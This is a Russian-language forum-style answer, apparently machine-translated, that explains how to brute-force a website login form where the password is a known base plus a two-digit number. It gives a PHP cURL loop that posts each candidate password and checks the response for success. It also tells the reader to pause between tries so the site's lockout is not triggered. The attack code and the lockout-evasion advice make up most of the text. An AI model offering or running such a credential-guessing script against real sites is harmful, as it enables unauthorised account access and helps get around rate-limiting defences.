Учитывая, что вам нужно всего лишь перебрать <100 различных возможностей, это должно быть взломано. </p>
Просмотрите исходный HTML-код страницы, содержащей форму входа в систему, и посмотрите, на какую страницу отправляется форма.Предположим, это action.php
.В исходном HTML-коде вы увидите нечто подобное:
<form id="login" action="action.php" method="post">
Используйте cURL , чтобы сделать запрос POST на action.php
с вашим именем пользователя и паролем в качестве POSTпараметры (включая все остальное, что форма публикует).Делайте это в цикле с изменением пароля на каждой итерации.
Ваш код должен выглядеть примерно так (в PHP)
$username = "johnsmith";
$pass_base = "eatdog";
$url = "the url the form submits to";
$failed = ""; //the response returned by the server when login fails
for ($i=10; $i < 100; $i++)
{
$password = $pass_base . $i;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//set the POST parameters
$data = curl_exec($ch);
curl_close($ch);
if ($data != $failed) //analyze the returned data
{
echo $password; //this is your password
break;
}
}
Приведенный выше код является сценарием PHP.Это не будет работать как есть.Я только предоставил мясо сценария.Возможно, вам придется выполнить некоторую базовую инициализацию - надеюсь, вы немного знакомы с PHP.
Вы можете запустить его с локального хоста (установить WAMP ).Я предполагаю, что для прохождения всех паролей не потребуется более 5 минут.
Это будет работать только в том случае, если процесс входа в систему не предназначен специально для остановки атак методом перебора.Если он блокирует вас на x мин после y неудачных попыток входа в систему, вам придется приостанавливать PHP-скрипт после каждых y-1
попыток в течение некоторого времени, чтобы не вызывать блокировку.
Если он начинает запрашивать капчувышеуказанный скрипт не будет работать.